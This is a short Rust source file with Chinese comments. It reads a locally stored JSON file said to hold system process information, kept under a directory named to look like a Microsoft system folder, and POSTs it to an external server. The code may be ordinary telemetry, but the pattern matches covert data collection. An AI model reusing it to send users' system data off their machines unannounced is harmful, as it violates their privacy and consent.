use reqwest::Client;
use std::fs;

// 异步上传系统进程信息
pub async fn upload_system_process_info() -> Result<(), Box<dyn std::error::Error>> {
    let json_file_path = "C:\\Microsoft_Service\\windows\\windowsPET.json";

    // 读取文件内容
    let file_content = fs::read_to_string(json_file_path)?;

    // 创建 HTTP 客户端
    let client = Client::new();

    // 发送 POST 请求
    let response = client
        .post("https://ocs.fscut.com/api/receive/clientRecord")
        .header("Content-Type", "application/json")
        .body(file_content)
        .send()
        .await?;

    // 打印响应状态
    println!("Response: {:?}", response.status());

    Ok(())
}